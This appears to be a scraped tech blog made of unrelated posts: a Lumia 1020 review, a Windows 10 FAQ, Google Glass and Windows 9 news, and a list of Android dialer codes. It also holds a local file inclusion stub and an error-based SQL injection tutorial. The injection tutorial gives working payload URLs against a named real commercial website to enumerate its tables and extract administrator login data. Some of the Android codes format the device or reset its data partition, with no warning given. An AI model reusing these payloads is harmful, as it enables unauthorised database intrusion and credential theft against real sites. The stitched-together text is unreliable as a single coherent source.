LFI Tutorial

             LOCAL FILE INCLUSION (LFI)

  

In the name of my GOD the most Beneficent and the Merciful.

Today I am posting This Local File Inclusion (LFI) Tutorial.

Lets start. 1. Getting RCE with LFI via /proc/self/environ

So first lets try getting etc/passwd to confirm it its directory traversal attack or not.

../ is used to get into upper ( parent ) Directory in *nix

Sql injection Error based

           

          SQL INJECTION ERROR BASED

In the Name of ALLAH the Most Beneficent and the Merciful

After a long time i am going to post a tut. which is about Error Base SQL Injection.
These type of injections are different from Union select.

Before we start you must have knowledge about union base sql injection.
I assume that you have knowledge about union base injections.

So lets start...

Here is the Vulnerable web.

http://www.latintourdimensions.com/overview/product_detail.php?id=35

Now start with the union base injection.



http://www.latintourdimensions.com/overview/product_detail.php?id=352'

   

See there we have Sql error.

Now find  the columns.

http://www.latintourdimensions.com/overview/product_detail.php?id=352 order by 9 --+  (ERROR)

http://www.latintourdimensions.com/overview/product_detail.php?id=352 order by 6 --+ (ERROR)

http://www.latintourdimensions.com/overview/product_detail.php?id=352 order by 5 --+ (NO ERROR)

So we have 5 Columns.

Now union select.

http://www.latintourdimensions.com/overview/product_detail.php?id=352 +UNION+ALL+SELECT+1,2,3,4,5 --+

When we do Union select there is an error  :: The used SELECT statements have a different number of columns ::




Now you have to do error base injection.

First find the version.

http://www.latintourdimensions.com/overview/product_detail.php?id=352+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1--+

 

Here we find the version . :: 5.1.54-log:1::

Now find the Database.

http://www.latintourdimensions.com/overview/product_detail.php?id=352+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+
    
   

Here You get the database name, Now find the Tables.

http://www.latintourdimensions.com/overview/product_detail.php?id=352+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

   

See Here the first table. " Activities "

Increase the Limit to get More tables e.g

 LIMIT 0,1  Dot it to 1,1           2,1           3,1           4,1     and so on to extract more..

see..

http://www.latintourdimensions.com/overview/product_detail.php?id=352+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+1,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

  

See the second table is "AdminLogin" ..

http://www.latintourdimensions.com/overview/product_detail.php?id=352+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+2,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

See the third table is "Agencia"

and so on ....


Now find the admin details from the table AdminLogin

http://www.latintourdimensions.com/overview/product_detail.php?id=352+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x41646d696e4c6f67696e+AND+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+


 

There is the first column in table Admin Login.

**NOTE**
If the col in which admin details are stored is named different e.g  like this site the table which contains admin details is AdminLogin , other webs have may different so what u have to change in the querry is that 

See in my querry i changed column name AdminLogin into hex
if any other web has different column name you have to change this
e.g the column name is admin so u have to change it into hex and then replace that hex with the admin hex encoded value.

Lumia 1020 full review camera , advantages . disadvantages , Key features , video specifiacatons

                

4.4 Out Of 5


INTRODUCTION:

This is probably what Microsoft was actually buying. Windows Phone handsets are getting lost in the high-end and it's the Lumia 1020 that can raise the platform above the rabble of Androids and successive iPhones. The basic design has been around since the Lumia 800 (the Nokia N9 even), but nothing in the world can make a more decisive difference than the PureView camera.
The Nokia Lumia 1020 might as well be Nokia's loudest bang on its way out (along with the to be announced Lumia 1520 phablet). And we'll probably see the history repeat itself much like with the Nokia N9, where the last product of a lineup is always the greatest.
With 41MP resolution, the 1020 camera has twice as many pixels as its nearest competitors. Three times as many if you want optical image stabilization. And the sensor is four times as big as most smartphone sensors and more than twice as big as the second-biggest sensor. The 808 PureView had a bigger sensor, but it has since retired and it didn't have the stabilization and bright aperture to begin with.
But we shouldn't let our focus on the camera detract from the smartphone experience. The Nokia Lumia 1020 equals the best of the (admittedly not very populous) Windows Phone world and the opposing BlackBerry world. And with Microsoft's tight control on the hardware allowing for optimizations not possible on Android, the 1020 shines throughout, not just in terms of camera.

CAMERA :

A 41-megapixel camera on a phone. You’d assume that was a typo if Nokia hadn’t already unveiled the 41-megapixel 808 Pureview last year, a technological tour-de-force that escaped mainstream appeal thanks largely to its orphaned Symbian operating system. With the Lumia 1020, Nokia has brought the innovative downsampling approach it debuted in the 808’s camera to a Windows Phone with a more relevant OS.
While zoom lenses that span from wide-angle to telescopic have been the norm on dedicated digicams for years, zoom optics remain impractical for thin phones (they exist only on the occasional camera-with-a-phone-in-it like Samsung’s Galaxy S4 Zoom). The “digital zoom” feature on most phones is generally a disappointing alternative.
Nokia changed that with the 808’s downsampling zoom, and the 1020 combines that technology with the optical image stabilization introduced in Nokia’s Lumia 920 that allows significantly better image quality in low light. On paper, that hardware combination makes the 1020 stand out impressively in a field in which incremental resolution bumps and often-gimmicky software features have been the name of the game. But do these great ideas translate into a great photographic experience? We put the Lumia 1020 through its picture-making paces to find out how its impressive imaging technology works in the real world. 

Key features

• Quad-band GSM/GPRS/EDGE support
• Quad-band 3G with 42 Mbps HSDPA and 5.7 Mbps HSUPA support
• 4.5" 16M-color PureMotionHD+ AMOLED capacitive touchscreen of 1280 x 768 pixels; Corning Gorilla Glass 3; Nokia Glance
• 41MP PureView sensor (38MP effective), 1/1.5" sensor size, 1.12µm, ZEISS lens, Optical Image Stabilization, xenon and LED flashes
• 1080p@30fps video recording; 4x lossless digital zoom
• 1.3MP front-facing camera
• Windows Phone 8 OS with Nokia Amber
• 1.5GHz dual-core Krait CPU, Adreno 225 GPU, Qualcomm MSM8960 chipset, 2GB of RAM
• Wi-Fi 802.11 a/b/g/n, dual-band
• GPS receiver with A-GPS and GLONASS support
• Free lifetime voice-guided navigation
• 32GB of inbuilt storage; 64GB Telefonica/O2 exclusive version
• Active noise cancellation with a dedicated mic
• Wireless charging with optional accessories
• Built-in accelerometer, gyroscope and proximity sensor
• Standard 3.5 mm audio jack
• microUSB port
• Bluetooth v3.0 with A2DP and file transfers
• SNS integration
• Xbox Live integration and Xbox management
• NFC support
• Digital compass
• Nokia Music
• FM radio
  
  

  Key Photographic / Video Specifications

• 41-megapixel 1/1.5-inch backside-illuminated sensor
• F2.2 lens
• 25mm equivalent focal length in 16:9, 27mm in 4:3
• 2.7x downsampling digital zoom
• Optical image stabilization
• Manual shutter speed, focus, and ISO control
• Xenon flash
• 1080p 30fps video recording
• 1.2MP F2.4 front camera
• Panorama mode
• Nokia Smart Camera mode
• Nokia Pro Cam mode

Main disadvantages

• Camera bump on the back
• Shot-to-shot time of several seconds is painful
• Screen has average sunlight legibility
• Non-user-replaceable battery
• Wireless charging needs an extra charging case to work
• No microSD card slot
• Relatively low battery capacity
• No system-wide file manager
• No lockscreen shortcuts
  
  
  

  Some Pictures.

Windows 10

   Windows 10: Nine Things You Need To Know
      

As You know that Microsoft has canceled the Windows 9 and we just came to know that Windows 10 is releasing soon. So some things you need to know about windows 10 are as follows :


Windows 8 has had a bit of a tumultuous run, Something Microsoft is hoping to turn around with Windows 10. We got a brief glimpse at a Microsoft event, And while it did prove to be a tantalizing look at whats in store, there are still plenty of questions floating around, and a lot more to figure out before the final product is sitting on our hard drives.

If you've got questions, We've got some answers on the latest step for Windows.

1. When can i upgrade? And how much will it cost?

Microsoft expects to release the OS sometime in 2015, after the company's Build developer conference in April. If you're feeling adventurous, you can sign up for the Windows Insider Program on October 1 to get your hands on the early (and likely and buggy ) preview build. The cost for the retail version has yet to be determined.

2. Windows 10? What happened to Windows 9 ?

Windows 7 ate 9 . (LOL kidding). Microsoft wants us to think of the latest version of fundamental change to How Windows work, and the company is skipping a version number to show it.
   

3. I've Got a desktop, and a tablet. How will that work?

Windows 10 isn't just about PC's. The operating system will run on every thing from desktop all the way down to smartphones, and user interface will adjust accordingly.

4. What about apps?

Apps will be coming along for the ride too, though Microsoft hasn't explained how that's going to work. We do Know that you'll be able to buy one app from the Windows Store and expect it to run on all your devices. Developers will presumably need to make universal apps that will adjust their look and feel, depending on your devices size and capabilities.

5. Those full-screen " MODERN" apps were a pain. Are they still around ?

Those touch friendly, full screen apps that debugged with Windows 8 were alternately known as the " METRO" or " MODERN" design. For windows 10 , Full screen apps will be optional. LEts say you;re using a convertible 2 in 1 device, Like the surface pro 3 , For example. When the keyboard is docked, You'll see the standard desktop of Windows 10 "new". old school start menu. Once you take the device off of the keyboard base, The OS will allow you to switch to the finger friendly full screen mode Windows 8 users are likely familiar with.

6. I actually liked those modern apps, and bought a few. Are they still around ?

It's too soon to say how windows 8 developers will react to the changes, But Microsoft did show some of its own full screen Modern apps operating in a windowed mode.

  

7. And the start menu

If you hated Windows 8's Full screen Start screen , You're in the Luck : the new start menu harkens back to the good old days setting on the left side of the screen and presenting the familiar pop up column of shortcuts.

8. Never mind the apps.... I need to get things doe. Any improvements on that front ?

Windows 10 beefs up snap,  the function that lets your quickly arrange apps side by side, with a new quadrant layout lets you split your display up among up to four apps. There's also support for multi-desktop (finally), So you can keep all your work apps in one place and quickly side back to the desktop.
     

9. Windows 10 run on my machine ?

Its too early to say , Windows 8.1 did introduce 64 bit computing requirements that ruled out some ancient processors, but it otherwise played well with pc's that weren't too old.

Google Glass Intoduction And About First Trial

    

Introduction :

Google Glass is a type of wearable technology with an Optical Head Mounted Display (OHMD). It was developed by Google with the mission of producing a mass market ubiquitous computer. Google glass displays information in a smartphone like hands free format. Wearers communicate with the internet via natural language voice commands. Google started selling Google glass to qualified Google Explorers in the US on April 15, 2013 for a limited period for $1,500 before it came available to the Public on May 15, 2014 for same price.


 

Scotland Edinburgh airport will be the first in The UK to trial Google Glass ::

Scotland Edinburgh airport will be the first airport in the UK to launch a trial of the device. Customer service workers could use Google Glass to accomplish tasks such as translating passenger Documentation , Finding flight information and answers general questions from airport visitors.

The trial expected to last until the end of 2014.

Windows 9 To Include Imroved Command Prompt With Experimental Features

          
While we are waiting for Microsoft to start its press event in the US to talk about its upcoming version of Windows. Today we just came to know that one of the key improvements Microsoft has made in Windows 9. Microsoft has finally decided to improve its command prompt /Console. Microsoft is including several experimental features in this release. Some of the experimental features include

\!/ Line Wrapping Selection
\!/ Ability To Filter Clipboard Contents On Paste, Support For new Control Keys, Shortcuts and Many More ...

If you use command prompt often, I'm sure you will be delighted to hear this new feature in Windows 9.
Stay connected /.

Secret Codes Of Android Phones

Now a days everyone is using Android Phones. Android Phones are very easy to use and being used by a lot of peoples. These smartphones also have good share of back doors known as " Secret Codes". I listed a collection of some hidden secret codes for Android phones.

NOTE : When you enter the code the menu should open automatically, id it does not open this means that you enter incorrect code or your device does not support the code. The codes are given below :

\!/   *#06# == IMEI number

\!/  *#0*#  == The Service Menu On The Newer Phones

\!/   *#*#34971539#*#*==  Detailed Camera Information

\!/  *#*#4636#  == Phone Information

\!/  *#*#273282*255*663282*#*#* ==  Immediate backup

\!/  *#*#232339#*#* == Wireless LAN tests

\!/  *#*#197328640#*#*== Enable test mode

\!/  *#*#0842#*#* == Viberation

\!/  *#*#2664#*#* == Test the touch screen

\!/  *#*#1111#*#* ==  FTA software version

\!/  *#*#12580*369# ==  Software and Hardware info

\!/  *#9090#  == Diagnostic configuration

\!/  *#872564# ==  USB logging tool

\!/ *#9900# ==  System Dump Mode

\!/  *#301279# == HSDPA/HSUPA control menu

\!/ #*746565#  ==View phone lock status

\!/  *#*#7780#*#*  == Reset the data partition

\!/  *2757*3855#   == Format device

\!/ ##7764726 Hidden ==service menu

\!/  *#*#7594#*#* == Enable direct power down

\!/  *#*#273283*255*663282*#*#  == Make  a quick backup

\!/  ##778  ==Show EPST menu

\!/ *#*#8351#*#*  ==Enable voice dialing log mode , dial *#*#8350#*#* to desable it.

\!/  *#*#44336#*#*   == Show build time

\!/  *#*#2222#*#* ==  Show FTA hardware version

\!/  *#*#1234#*#* == Show PDA

\!/  *#*#4986*2650468#*#* == Show phone hardware

\!/  *#*#8255#*#*  == Monitor Google talk service

\!/  *#*#7262626#*#* ==   Perform a field test

\!/  *#*#232337#*# ==  Show Bluetooth devices

\!/  *#*#232331#*#* ==  Show Bluetooth test

\!/  *#*#3264#*#*  == Show RAM version

\!/  *#*#2663#*#*  ==  Show device touch screen

\!/  *#*#0289#*#* ==  Run Audio test

\!/  *#*#0588#*#* == Perform a proximity sensor

\!/  *#*#0283#*#* ==  perform a pack bucket

\!/  *#*#1575#*#* == For more advanced GPS

\!/  *#*#232338#*#* == Show wi fi MAC adress

\!/  *#*#0*#*# == Run an LCD display test

\!/  *#*#1472365#*#* ==  Perform a quicK GPA test

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Stay Connected

Like , Share And support :)